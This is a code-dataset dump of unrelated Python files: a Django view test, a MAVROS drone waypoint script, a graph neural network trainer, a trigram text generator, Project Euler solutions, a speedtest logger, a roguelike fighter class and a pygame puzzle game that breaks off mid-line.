200)\n\n def test_supplier_part_delete(self):\n \"\"\" Test the SupplierPartDelete view \"\"\"\n\n url = reverse('supplier-part-delete')\n\n # Get form using 'part' argument\n response = self.client.get(url, {'part': '1'}, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n\n # Get form using 'parts' argument\n response = self.client.get(url + '?parts[]=1&parts[]=2', HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n\n # POST to delete two parts\n n = SupplierPart.objects.count()\n response = self.client.post(\n url,\n {\n 'supplier-part-2': 'supplier-part-2',\n 'supplier-part-3': 'supplier-part-3',\n 'confirm_delete': True\n },\n HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n \n self.assertEqual(response.status_code, 200)\n\n self.assertEqual(n - 2, SupplierPart.objects.count())\n","sub_path":"InvenTree/company/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"555676178","text":"import rospy\nfrom mavros_msgs.msg import GlobalPositionTarget, State\nfrom mavros_msgs.srv import CommandBool, CommandTOL, SetMode\nfrom geometry_msgs.msg import PoseStamped, Twist\nfrom sensor_msgs.msg import Imu, NavSatFix\nfrom std_msgs.msg import Float32, String\nimport time\nimport math\n\ndef globalPositionCallback(globalPositionCallback):\n global latitude\n global longitude\n latitude = globalPositionCallback.latitude\n longitude = globalPositionCallback.longitude\n\ndef get_distance_metres(latitude,longitude, lat, lon):\n dlat = latitude - lat\n dlong = longitude - lon\n return math.sqrt((dlat*dlat) + (dlong*dlong)) * 1.113195e5\n\nclass ardupilot_controller:\n def __init__(self):\n #service\n self.flightModeService = rospy.ServiceProxy('/mavros/set_mode', SetMode)\n self.armService = rospy.ServiceProxy('/mavros/cmd/arming', CommandBool)\n self.takeoffService = rospy.ServiceProxy('/mavros/cmd/takeoff', CommandTOL)\n #sub\n rospy.Subscriber(\"/mavros/global_position/raw/fix\", NavSatFix, globalPositionCallback)\n def mode(self):\n if self.flightModeService(custom_mode='GUIDED'):\n return True\n else:\n return False \n def arm(self):\n if self.armService(True):\n return True\n else:\n return False\n def takeoff(self):\n if self.takeoffService(altitude = 3):\n return True\n else:\n return False\n\n def global_location(self, alt, lat, lon):\n rospy.init_node('anadolu_kartali')\n guided_waypoint_pub = rospy.Publisher('/mavros/setpoint_raw/global', GlobalPositionTarget, queue_size=1)\n while guided_waypoint_pub.get_num_connections() == 0:\n time.sleep(.1)\n g = GlobalPositionTarget()\n g.altitude = alt\n g.latitude = lat\n g.longitude = lon\n g.type_mask=4088\n g.coordinate_frame=6\n\n global latitude\n global longitude\n \n targetDistance = get_distance_metres(latitude,longitude, lat, lon)\n guided_waypoint_pub.publish(g)\n\n while self.flightModeService(custom_mode='GUIDED'): \n remainingDistance=get_distance_metres(latitude,longitude, lat, lon)\n print(\"Distance to target: \", remainingDistance)\n if remainingDistance<=targetDistance*0.025:\n print(\"Reached target\")\n break;\n time.sleep(2)\n\n\n###################################################\nif __name__ == '__main__':\n con = ardupilot_controller()\n con.mode()\n con.arm()\n con.takeoff()\n time.sleep(15) \n\n con.global_location(5, -35.36245116, 149.16517902)\n con.global_location(5, -35.36215729, 149.16515781)\n con.global_location(5, -35.36217458, 149.16500236)\n con.global_location(5, -35.36327865, 149.16513780)\n\n\n","sub_path":"anadolu_kartali_global.py","file_name":"anadolu_kartali_global.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"564622515","text":"import numpy as np\nfrom graph import GRAPH\nfrom gnn import GNN\n\nclass SGD:\n # batch size should be a divisor of the trainsize\n def __init__(self, theta):\n self.theta = theta\n self.trainloss = [] # average training set loss\n self.validloss = [] # average validation set loss\n self.trainacc = [] # average training set accuracy\n self.validacc = [] # average validation set accuracy\n self.testresult = [] # test result\n\n # validation set generator\n def validationset(self):\n self.pweights = np.ones(self.theta.hp.trainsize)\n self.validationmask = np.random.choice(self.theta.hp.trainsize, int(self.theta.hp.trainsize*self.theta.hp.vr), replace = False, p = self.pweights/np.sum(self.pweights))\n self.pweights[self.validationmask] = 0\n self.trainingmask = np.where(self.pweights == 1)[0]\n self.traindatapweights = np.copy(self.pweights) # Remember training set\n\n # batch mask generator\n def nextmaskgen(self): \n self.batchmask = np.random.choice(self.theta.hp.trainsize, self.theta.hp.batchsize, replace=False, p = self.pweights/np.sum(self.pweights))\n self.pweights[self.batchmask] = 0 # selection probability weights\n\n\n def trainingsetstat(self):\n # training set\n # print(self.trainingmask)\n for i in self.trainingmask:\n self.adjacent = np.loadtxt(\n fname='../datasets/train/{}_graph.txt'.format(i),\n skiprows=1\n )\n self.n = self.adjacent.shape[0]\n self.y = np.loadtxt('../datasets/train/{}_label.txt'.format(i))\n \n graph = GRAPH(self.n, self.adjacent, self.y)\n if (self.theta.hp.mg == 1):\n graph.modifygraph()\n \n gnn = GNN(graph, self.theta)\n gnn.steps()\n gnn.predict()\n gnn.crossentropyloss()\n \n self.acctrainloss = self.acctrainloss + gnn.l\n self.acctrainacc += 1 if self.y == gnn.predicty else 0\n \n self.trainacc.append(self.acctrainacc/(int(self.theta.hp.trainsize*(1-self.theta.hp.vr))))\n self.trainloss.append(self.acctrainloss/(int(self.theta.hp.trainsize*(1-self.theta.hp.vr))))\n\n def validationsetstat(self):\n # validation set\n # print(self.validationmask)\n for i in self.validationmask:\n self.adjacent = np.loadtxt(\n fname='../datasets/train/{}_graph.txt'.format(i),\n skiprows=1\n )\n self.n = self.adjacent.shape[0]\n self.y = np.loadtxt('../datasets/train/{}_label.txt'.format(i))\n \n graph = GRAPH(self.n, self.adjacent, self.y)\n if (self.theta.hp.mg == 1):\n graph.modifygraph()\n \n gnn = GNN(graph, self.theta)\n gnn.steps()\n gnn.predict()\n gnn.crossentropyloss()\n\n self.accvalidloss = self.accvalidloss + gnn.l\n self.accvalidacc += 1 if self.y == gnn.predicty else 0\n\n self.validacc.append(self.accvalidacc/(int(self.theta.hp.trainsize*self.theta.hp.vr)))\n self.validloss.append(self.accvalidloss/(int(self.theta.hp.trainsize*self.theta.hp.vr)))\n\n\n def batchupdatetheta(self):\n # accumulated training set loss\n self.acctrainloss = 0\n # accumulated validation set loss\n self.accvalidloss = 0\n # accumlated training set accuracy\n self.acctrainacc = 0\n # accumlated validation set accuracy\n self.accvalidacc = 0\n \n for i in self.batchmask:\n self.adjacent = np.loadtxt(\n fname='../datasets/train/{}_graph.txt'.format(i),\n skiprows=1\n )\n self.n = self.adjacent.shape[0]\n self.y = np.loadtxt('../datasets/train/{}_label.txt'.format(i))\n \n graph = GRAPH(self.n, self.adjacent, self.y)\n if (self.theta.hp.mg == 1):\n graph.modifygraph()\n \n gnn = GNN(graph, self.theta)\n gnn.gradientdescent()\n \n #update theta\n #SGD: self.theta.update()\n #MOMSGD: self.theta.momupdate()\n #ADAMSGD: self.theta.adamupdate()\n \n if (self.theta.hp.sgdtype == \"normal sgd\"):\n self.theta.update()\n elif (self.theta.hp.sgdtype == \"momentum\"):\n self.theta.momupdate()\n elif (self.theta.hp.sgdtype == \"adam\"):\n self.theta.adamupdate()\n \n self.trainingsetstat()\n self.validationsetstat()\n\n \n def train(self):\n # Create training & validation set\n self.validationset()\n\n # Loop the number of epochs\n for i in range(self.theta.hp.epoch):\n self.pweights = np.copy(self.traindatapweights) \n\n # Loop the number of batch in one epoch\n for _ in range(int(self.theta.hp.trainsize*(1-self.theta.hp.vr)/self.theta.hp.batchsize)):\n # Create batch\n self.nextmaskgen()\n # Train the batch\n self.batchupdatetheta()\n \n print(\"{} epoch done\".format(i+1))\n\n def gentestsetresult(self):\n for i in range(self.theta.hp.testsize):\n self.adjacent = np.loadtxt('../datasets/test/{}_graph.txt'.format(i), skiprows=1)\n self.n = self.adjacent.shape[0]\n self.y = -1\n \n graph = GRAPH(self.n, self.adjacent, self.y)\n if (self.theta.hp.mg == 1):\n graph.modifygraph()\n \n gnn = GNN(graph, self.theta)\n gnn.steps()\n gnn.predict()\n \n self.testresult.append(gnn.predicty)\n \n np.savetxt(\"prediction.txt\", self.testresult, delimiter=\"\\n\", fmt='%i')\n\n","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"142821668","text":"import os\n\n\nclass Atom:\n def __init__(self, type, x, y, z):\n for typename in ['Ti', 'O', 'C', 'H']:\n if type.startswith(typename):\n self.type = typename\n break\n self.x = float(x)\n self.y = float(y)\n self.z = float(z)\n\n\ndef write_poscar(filename, atoms):\n with open(filename, 'w') as f:\n f.write('Transfer by qvasp\\n')\n f.write(' 1.0\\n')\n f.write(' 8.906000 0.000000 0.000000\\n')\n f.write(' 0.000000 13.146600 0.000000\\n')\n f.write(' 0.000000 0.000000 24.138600\\n')\n keys = atoms.keys()\n N = list(map(lambda x: str(len(atoms[x])), keys))\n f.write(' %s\\n' % ' '.join(keys))\n f.write(' %s\\n' % ' '.join(N))\n f.write('Cartesian\\n')\n for key in keys:\n for atom in atoms[key]:\n f.write(' %.9f %.9f %.9f\\n' %\n (atom.x, atom.y, atom.z))\n\n\nlines = open('trj.nvt').readlines()\nline_per_frame = lines.index('ITEM: TIMESTEP\\n', 1) - \\\n lines.index('ITEM: TIMESTEP\\n', 0)\nN = int(len(lines) / line_per_frame)\nassert N * line_per_frame == len(lines)\nfor i in range(N):\n if not os.path.exists('VASP-%d' % i):\n os.mkdir('VASP-%d' % i)\n atoms = {'Ti': [], 'C': [], 'O': [], 'H': []}\n for line in lines[i*line_per_frame + 9:(i+1)*line_per_frame]:\n _, type, _, x, y, z = line.split()\n atom = Atom(type, x, y, z)\n atoms[atom.type].append(atom)\n write_poscar('VASP-%d/POSCAR' % i, atoms)","sub_path":"lammpstrj2POSCAR.py","file_name":"lammpstrj2POSCAR.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"595182999","text":"def steps(number):\n if number <= 0:\n raise ValueError(\"not a natural number\")\n _steps = 0\n while number != 1:\n if number % 2:\n number *= 3\n number += 1\n else:\n number //= 2\n _steps += 1\n return _steps","sub_path":"collatz-conjecture/collatz_conjecture.py","file_name":"collatz_conjecture.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"605788909","text":"import string\nimport random\n\n# Trigram is dictionary where the keys are 2-word tuples and the\n# values are a list of words\ntrigrams = {}\n\n# For creating the trigrams\nprev_words = []\n\n# Name of the book to parse\nbook_filename = \"jack_london_white_fang.txt\"\n\ndef add_word_to_trigram(new_word):\n \"\"\"Helper function for creating the trigrams\"\"\"\n # Trigrams require 2 previous words\n # If we don't have those yet, then set them\n if len(prev_words) < 2:\n prev_words.append(new_word)\n return\n\n # If it exists, add the word to the list\n # If it doesn't exist, create it\n word_tuple = (prev_words[0], prev_words[1])\n if word_tuple in trigrams:\n trigrams[word_tuple].append(new_word)\n else:\n trigrams[word_tuple] = [new_word]\n\n # Increment the prev words\n prev_words.pop(0)\n prev_words.append(new_word)\n\ndef break_it_down(line):\n \"\"\"Separates 'line' by spaces, similar to the built-in 'split' function.\n However, it also treats punctuation as separate words.\n \"\"\"\n # Make a copy for us to play with\n words = str(line)\n # Strategy: Leverage the built-in split, by adding spaces\n # around punctuation\n # Supported punctuation: ; : , ? ! . \"\n for p in (':', ';', ',', '?', '!', '.', '\"'):\n words = words.replace(p, ' {p} '.format(p=p))\n \n # Special case: ellipsis\n while '. .' in words:\n words = words.replace('. .', '..')\n \n # Remove this punctuation: ( )\n for p in ('(', ')'):\n words = words.replace(p, ' ')\n \n return words.split()\n\ndef read_in_book():\n \"\"\"Reads in a book and creates the trigrams\"\"\"\n # Keep track of paragraphs\n new_lines = False\n with open(book_filename, 'r') as book:\n # Ignore the top of the file, it's all boilerplate\n # 'project gutenberg' stuff anyway\n line_it = iter(book)\n line = next(line_it)\n while line[:3] != \"***\":\n line = next(line_it)\n\n line = next(line_it)\n\n # Read the rest, creating trigrams, until\n # another series of *** are found\n while line[:3] != \"***\":\n words = break_it_down(line)\n if len(words) == 0:\n new_lines = True\n else:\n if new_lines:\n add_word_to_trigram('\\n\\n')\n new_lines = False\n \n for w in words:\n add_word_to_trigram(w)\n\n line = next(line_it)\n \n \ndef add_word_to_sentence(sentence, word, dialog=False):\n \"\"\"Add 'word' to the sentence. 'word' could be punctuation, treat\n it accordingly\n \"\"\"\n # In general, add a space before adding this word\n # In some instances, do not add a space:\n # * word is: . , ; : ! ?\n # * word is an ellipsis\n # * If the previous word was: \\n\\n\n \n skip_space = ((word in ('.', ',', ':', ';', '!', '?'))\n or (word == '.' * len(word))\n or (len(sentence) > 0 and sentence[-1] in ('\\n\\n'))\n or (len(sentence) == 0)\n or (word == '\"' and dialog)\n or (dialog and sentence[-1] == '\"'))\n \n if skip_space:\n sentence.append(word)\n else:\n sentence.append(' ')\n sentence.append(word)\n \n\ndef sentence_from(word_tuple):\n \"\"\"Return a generated sentence as a list, given the starting tuple\"\"\"\n sentence = list()\n\n sentence_endings = ('.', '?', '!')\n \n # Try to match quotes...\n dialog = False\n \n # Add the beginning of the sentence\n for w in word_tuple:\n add_word_to_sentence(sentence, w, dialog)\n if w == '\"':\n dialog = not dialog\n \n # Special case: 1 word sentence (eg: No!)\n if word_tuple[1] in sentence_endings:\n return sentence\n \n value = random.choice(trigrams[word_tuple])\n \n # Now the fun part: keep getting more trigrams until\n # finding the end of the sentence\n while value not in sentence_endings:\n\n add_word_to_sentence(sentence, value, dialog)\n if value == '\"':\n dialog = not dialog\n \n # Advance the tuple\n word_tuple = (word_tuple[1], value)\n \n # Get the next value.\n if dialog:\n # If it's dialog, try to end it!\n if '\"' in trigrams[word_tuple] and random.random() < 0.25:\n value = '\"'\n else:\n value = random.choice(trigrams[word_tuple])\n else:\n value = random.choice(trigrams[word_tuple])\n \n # Add the punctuation\n sentence.append(value)\n \n # If this is dialog, then end it. Dialog can always be closed after\n # a sentence ending\n if dialog:\n sentence.append('\"')\n \n return sentence\n\n \ndef write_sentences(num_sentences):\n \"\"\"Generates num_sentences number of sentences.\"\"\"\n sentence_count = 0\n sentences = list()\n \n # Get a starting point\n word_tuple = random.choice(list(trigrams.keys()))\n value = random.choice(trigrams[word_tuple])\n\n # Find a trigram that'll start a sentence by finding '\\n\\n'\n while word_tuple[0] != '\\n\\n':\n word_tuple = random.choice(list(trigrams.keys()))\n value = random.choice(trigrams[word_tuple])\n # Advance to the start of the sentence (i.e., eat the '\\n\\n')\n word_tuple = (word_tuple[1], value)\n value = random.choice(trigrams[word_tuple])\n \n # Add on to the sentences until we reach the desired number\n while sentence_count < num_sentences:\n\n cur_sentence = sentence_from(word_tuple)\n # Get the last 2 words for the next trigram\n word_tuple = (cur_sentence[-2], cur_sentence[-1])\n \n # Add the sentence, and then a space\n sentences.extend(cur_sentence)\n sentences.append(' ')\n \n # Find the start of the next sentence\n # Advance tuple to the next one\n value = random.choice(trigrams[word_tuple])\n word_tuple = (word_tuple[1], value)\n \n # Advance again. \\n\\n is not allowed here!\n value = random.choice(trigrams[word_tuple])\n while value == '\\n\\n':\n value = random.choice(trigrams[word_tuple])\n word_tuple = (word_tuple[1], value)\n \n sentence_count += 1\n\n print(''.join(sentences))\n\nif __name__ == \"__main__\":\n read_in_book()\n write_sentences(15)\n\n ","sub_path":"students/HarveyHerela/lesson04/trigram.py","file_name":"trigram.py","file_ext":"py","file_size_in_byte":6332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"383611946","text":"number = int(input())\nbinary = str(bin(number).replace(\"0b\" , \"\"))\n\ncount = 0\nmax = 0 \nfor i in range(len(binary) ):\n if(binary[i] == \"1\"):\n count +=1\n if(count > max):\n max = count\n else:\n count = 0\n\nprint(max)","sub_path":"10 - binayNumbers.py","file_name":"10 - binayNumbers.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"85415780","text":"import euler\n\n\nANSWER = 1739023853137\nLIMIT = 10 ** 8\nLIMIT2 = LIMIT + 2\nPRIME_LIST = euler.prime_list_with_zeros(LIMIT2)\nSLOW = True\n\n\ndef check(n):\n sqrt = int(n ** 0.5) + 1\n for i in range(3, sqrt):\n if not n % i:\n if not PRIME_LIST[i + n // i]:\n return False\n return True\n\n\ndef main():\n total = 1\n for i in range(2, LIMIT // 2 + 3):\n q = 2 * i - 4\n if PRIME_LIST[i]:\n if PRIME_LIST[q + 1]:\n if check(q):\n total += q\n return total\n\n\nif __name__ == '__main__':\n print(main())\n","sub_path":"python/problem357.py","file_name":"problem357.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"365440563","text":"import tcod as libtcod\nfrom engine.game_messages import Message\nfrom engine.roll_dice import roll_dice\n\n\nclass Fighter:\n \"\"\"\n Handles aspects of fighting an entity would do\n \"\"\"\n def __init__(self, hp, armor_class, strength=0, intelligence=0, xp=0, mana=100):\n self.base_max_hp = hp\n self.hp = hp\n self.base_armor_class = armor_class\n self.base_strength = strength\n self.base_strength_mod = int((strength / 2) - 5) # D&D modifier formula\n self.base_intelligence = intelligence\n self.base_intelligence_mod = int((intelligence / 2) -5)\n self.xp = xp\n self.max_mana = mana\n self.mana = mana\n\n def move(self):\n if self.mana < self.max_mana:\n self.mana += 1\n\n def take_damage(self, amount):\n results = []\n self.hp -= amount\n\n if self.hp <= 0:\n results.append({'dead': self.owner})\n return results\n\n def reduce_mana(self, amount):\n results = []\n self.mana -= amount\n\n if self.mana < 0:\n self.mana = 0\n return results\n\n @property\n def max_hp(self):\n if self.owner and self.owner.equipment:\n bonus = self.owner.equipment.max_hp_bonus\n else:\n bonus = 0\n return self.base_max_hp + bonus\n\n @property\n def strength(self):\n if self.owner and self.owner.equipment:\n bonus = self.owner.equipment.str_bonus\n else:\n bonus = 0\n return self.base_strength + bonus\n\n @property\n def intelligence(self):\n if self.owner and self.owner.equipment:\n bonus = self.owner.equipment.int_bonus\n else:\n bonus = 0\n return self.base_intelligence + bonus\n\n @property\n def strength_mod(self):\n return int((self.strength/2)-5)\n\n @property\n def intelligence_mod(self):\n return int((self.intelligence/2)-5)\n\n @property\n def armor_class(self):\n if self.owner and self.owner.equipment:\n bonus = self.owner.equipment.armor_bonus\n else:\n bonus = 0\n return self.base_armor_class + bonus\n\n def heal(self, amount):\n self.hp += amount\n\n if self.hp > self.max_hp:\n self.hp = self.max_hp\n\n def attack(self, target):\n results = []\n damage = self.strength_mod + roll_dice(3) + roll_dice(3)\n # If you don't roll higher than their armor class your attack doesn't hit\n if roll_dice(20) < target.fighter.armor_class:\n results.append({'message': Message('{0} attacks {1} but the blow glances off'.format(\n self.owner.name.capitalize(), target.name), libtcod.white)})\n else:\n if damage > 0:\n results.append({'message': Message('{0} attacks {1} for {2} damage.'.format(\n self.owner.name.capitalize(), target.name.capitalize(), str(damage)), libtcod.white)})\n results.extend(target.fighter.take_damage(damage))\n else:\n results.append({'message': Message('{0} attacks {1} but does no damage.'.format(\n self.owner.name.capitalize(), target.name.capitalize()), libtcod.white)})\n\n return results\n","sub_path":"components/fighter.py","file_name":"fighter.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"135744176","text":"import speedtest\nimport csv\nimport os.path\nimport numpy as np\nfrom datetime import datetime\n\nheaders = []\n#ListAttributes = []\n#ReqAttributes = []\n_Mbps = []\n_header = []\n\ndef app():\n with open(fileName, 'a', newline='') as csvfile:\n csvwriter = csv.writer(csvfile)\n csvwriter.writerow(_Mbps)\n\ndef new():\n with open(fileName, 'a', newline='') as csvfile:\n csvwriter = csv.writer(csvfile)\n csvwriter.writerow(_header)\n csvwriter.writerow(_Mbps)\n\nif __name__ == \"__main__\":\n date = datetime.date(datetime.now())\n fileName = \"D:\\\\SpeedTest\\\\output\\\\{0}.csv\".format(date)\n \n servers = []\n threads = None\n\n try:\n s = speedtest.Speedtest()\n s.get_servers(servers)\n s.get_best_server()\n s.download(threads=threads)\n s.upload(threads=threads)\n except Exception as e:\n print(\"No Speed\")\n else:\n headers = s.results.csv_header().split(',')\n ListAttributes = s.results.csv().splitlines()\n ReqAttributes = ListAttributes[0].split(',')\n narray = np.asarray(ReqAttributes)\n harray = np.asarray(headers)\n\n for y in range(10):\n print(harry[y] + ' : ' + narry[y])\n\n for x in range(10):\n if(x==3):\n time = datetime.time(datetime.now())\n _Mbps.append(time)\n if(x==6):\n d = int(float(narray[x])//1000000)\n _Mbps.append(d)\n _header.append(harray[x])\n elif(x==7):\n u = int(float(narray[x])//1000000)\n _Mbps.append(u)\n _header.append(harray[x])\n elif(x==9):\n pass\n else:\n _Mbps.append(narray[x])\n _header.append(harray[x])\n\n print(_Mbps)\n print(_header)\n\n if os.path.isfile(fileName):\n app()\n else:\n new()\n","sub_path":"speedTest.py","file_name":"speedTest.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"353007732","text":"import os\n\n\n# ------------------------------------文件节点定义-----------------------------\nclass fileNode():\n def __init__(self, originPath, filename):\n self.originPath = originPath\n self.fileName = filename\n self.floders = []\n self.files = []\n\n\n# -------------------------------------输入路径--------------------------------\n# filesPath = input(\"请输入路径\")\n\n# -------------------------------------主函数--------------------------------\ndef main():\n inputPath = \"/Users/gitfub/Downloads/IphoneMail\"\n\n # 处理输入进来的路径,将路径拆分为起始路劲和文件名\n inputPathlist = inputPath.split(\"/\")\n fileName = inputPathlist[-1]\n del inputPathlist[-1]\n originPath = \"/\".join(inputPathlist)\n\n # 返回主节点\n originNode = getFileNodes(originPath, fileName)\n print(originNode.files)\n print(len(originNode.floders))\n\n\n# -------------------------------------功能函数--------------------------------\n# 获取所有文件的文件路径\n#\ndef getFileNodes(originPath, fileName):\n node = fileNode(originPath, fileName)\n completePath = node.originPath + \"/\" + node.fileName # 文件完成路径\n itmes = os.listdir(completePath)\n for itme in itmes:\n filePath = completePath + \"/\" + itme\n if os.path.isfile(filePath):\n node.files.append(itme)\n elif os.path.isdir(filePath):\n node.floders.append(getFileNodes(completePath,itme))\n\n return node\n\n\n# -------------------------------------主函数调用--------------------------------\nif __name__ == '__main__':\n main()\n","sub_path":"work.py","file_name":"work.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"403760612","text":"import pygame\nimport cv2\nimport numpy\nimport time\n\npygame.init()\n\ndef mouseover(imagen,coordenadas):\n mouse=False\n y,x,_ = cv2.imread(imagen).shape\n mx,my = pygame.mouse.get_pos()\n tx,ty=coordenadas[0],coordenadas[1]\n if tx+x > mx >tx:\n if ty+y > my > ty: \n mouse=True\n #print(coordenadas,x,y,imagen)\n return mouse\n \nclass Boton():\n\n def __init__(self,tipo,imagen,coordenadas):\n self.mouse=False\n self.tipo=tipo\n self.coordenadas=coordenadas\n self.ima = pygame.image.load(\"botones/jugar_1.png\").convert_alpha()\n if self.tipo=='jugar':\n mouse1=mouseover(imagen,coordenadas)\n if mouse1==True:\n self.ima = pygame.image.load(\"botones/jugar_1.png\").convert_alpha()\n self.mouse=True\n if mouse1==False:\n self.ima = pygame.image.load(\"botones/jugar_0.png\").convert_alpha()\n self.mouse=False\n\n if self.tipo=='nivel':\n mouse2=mouseover(imagen,coordenadas)\n if mouse2==True:\n self.ima = pygame.image.load(\"botones/niveles_1.png\").convert_alpha()\n self.mouse=True\n if mouse2==False:\n self.ima = pygame.image.load(\"botones/niveles_0.png\").convert_alpha()\n self.mouse=False\n \n\n\nclass Objeto(pygame.sprite.Sprite):\n def __init__(self, nombre):\n super().__init__()\n self.image = pygame.image.load(\"assets/carga_pos_2.png\").convert_alpha()\n self.nombre = nombre\n if nombre == \"positivo\":\n self.image = pygame.image.load(\"assets/carga_pos_2.png\").convert_alpha()\n \n elif nombre == \"negativo\":\n self.image = pygame.image.load(\"assets/carga_neg_2.png\").convert_alpha()\n \n elif nombre == \"neutro\":\n self.image = pygame.image.load(\"assets/carga_net_2.png\").convert_alpha()\n \n elif nombre == \"maquina\":\n self.image = pygame.image.load(\"assets/maquina_fusion.png\").convert_alpha()\n\n self.rect = self.image.get_rect()\n\n\nclass Casilla(pygame.sprite.Sprite):\n def __init__(self, posX, posY):\n super().__init__()\n self.objeto = Objeto(\"\")\n self.posX = posX\n self.posY = posY\n self.tieneJugador = False\n \nclass Tablero():\n def __init__(self):\n super().__init__()\n self.matriz = []\n self.iniX = 384\n self.iniY = 204\n\n for i in range(8):\n self.matriz.append([])\n for j in range(8):\n self.matriz[i].append(\n Casilla(self.iniX + (i * 64), self.iniY + (j * 64)))\n\n self.matriz[0][0].tieneJugador = True\n\n self.matriz[3][3].objeto = Objeto(\"positivo\")\n self.matriz[6][3].objeto = Objeto(\"negativo\")\n self.matriz[2][6].objeto = Objeto(\"maquina\")\n\n#Jugador\nclass Player(pygame.sprite.Sprite):\n def __init__(self):\n super().__init__()\n self.image = pygame.image.load(\"assets/pc_personaje.png\").convert_alpha()\n self.image.set_colorkey(black)\n self.rect = self.image.get_rect()\n self.speed_x = 0\n self.speed_y = 0\n self.currentX = 0\n self.currentY = 0\n #self.rect.x = 0\n #self.rect.y = posY\n #self.rect.height = 64\n #self.rect.width = 64\n\n def change_speed(self, x, y):\n self.currentX = self.speed_x\n self.currentY = self.speed_y\n if self.speed_y==0 and y == -1:\n return \n if self.speed_x==0 and x == -1:\n return\n if self.speed_y==7 and y == 1:\n return\n if self.speed_x==7 and x == 1:\n return\n self.speed_x += x\n self.speed_y += y\n\n ''''\n def update(self):\n self.rect.x += self.speed_x\n self.rect.y += self.speed_y\n '''\n \n def setPos(self, posX, posY):\n self.rect.x = posX\n self.rect.y = posY\n playerposition=[posX,posY]\n\nclass Gamestate():\n def __init__(self):\n self.state='intro'\n\n def cambia_nivel(self):\n if self.state=='intro':\n self.intro()\n if self.state=='nivel_1':\n self.nivel_1()\n\n def intro(self):\n coorxy=[640-152,420-32]\n coorxy2=[640-152,420+50]\n boton1=Boton('jugar','botones/jugar_0.png',coorxy)\n imagenboton1=boton1.ima\n boton2=Boton('nivel','botones/niveles_0.png',coorxy2)\n imagenboton2=boton2.ima\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n screen.blit(portada, [0, 0])\n coorxy=[640-152,420-32]\n screen.blit(imagenboton1,coorxy)\n screen.blit(imagenboton2,coorxy2)\n\n if event.type==pygame.MOUSEBUTTONDOWN:\n if boton1.mouse==True:\n self.state='nivel_1'\n \n\n #all_sprites_list.draw(screen)\n\n pygame.display.flip()\n\n\n def nivel_1(self):\n #Cositas para el Reloj\n timer_font = pygame.font.SysFont('Consolas', 30)\n timer_sec = 60\n timer_text = timer_font.render(time.strftime('%M:%S', time.gmtime(timer_sec)), True, (255, 255, 255))\n timer = pygame.USEREVENT + 1 \n pygame.time.set_timer(timer, 1000)\n \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n screen.blit(tablero2, [0, 0])\n screen.blit(tablero, [384, 204])\n \n \n \n \n #Reloj\n if event.type == timer: \n if timer_sec > 0:\n timer_sec -= 1\n timer_text = timer_font.render(time.strftime('%M:%S', time.gmtime(timer_sec)), True, (255, 255, 255))\n print(timer_sec)\n else:\n pygame.time.set_timer(timer, 0)\n \n\n\n #Eventos del teclado\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n player.change_speed(-1, 0)\n if event.key == pygame.K_RIGHT:\n player.change_speed(1, 0)\n if event.key == pygame.K_UP:\n player.change_speed(0, -1)\n if event.key == pygame.K_DOWN:\n player.change_speed(0, 1)\n\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT:\n player.change_speed(0, 0)\n if event.key == pygame.K_RIGHT:\n player.change_speed(0, 0)\n if event.key == pygame.K_UP:\n player.change_speed(0, 0)\n if event.key == pygame.K_DOWN:\n player.change_speed(0, 0)\n \n\n#VALIDACIONES\n for i in range(8):\n for j in range(8):\n if tablero1.matriz[i][j].tieneJugador == True:\n player.setPos(tablero1.matriz[i][j].posX,\n tablero1.matriz[i][j].posY)\n #print(player.speed_x,player.speed_y)\n if tablero1.matriz[i][j].objeto.nombre != \"\":\n screen.blit(tablero1.matriz[i][j].objeto.image, [\n tablero1.matriz[i][j].posX, tablero1.matriz[i][j].posY\n ])\n #tablero1.matriz[i][j].objeto.rect.x = tablero1.matriz[i][j].posX\n #tablero1.matriz[i][j].objeto.rect.y = tablero1.matriz[i][j].posY\n #all_sprites_list.add(tablero1.matriz[i][j].objeto)\n tablero1.matriz[player.currentX][player.currentY].tieneJugador = False\n tablero1.matriz[player.speed_x][player.speed_y].tieneJugador = True\n screen.blit(UI, [0, 0])\n screen.blit(timer_text, [300, 300])\n \n all_sprites_list.draw(screen)\n \n pygame.display.flip()\n\n\n\nsize = (1280, 720)\nscreen = pygame.display.set_mode(size)\nclock = pygame.time.Clock()\ngame_state = Gamestate()\n\nall_sprites_list = pygame.sprite.Group()\ndone = False\n\nportada=tablero = pygame.image.load(\"assets/title card.png\").convert()\ntablero = pygame.image.load(\"assets/tablero MK II.png\").convert()\ntablero2 = 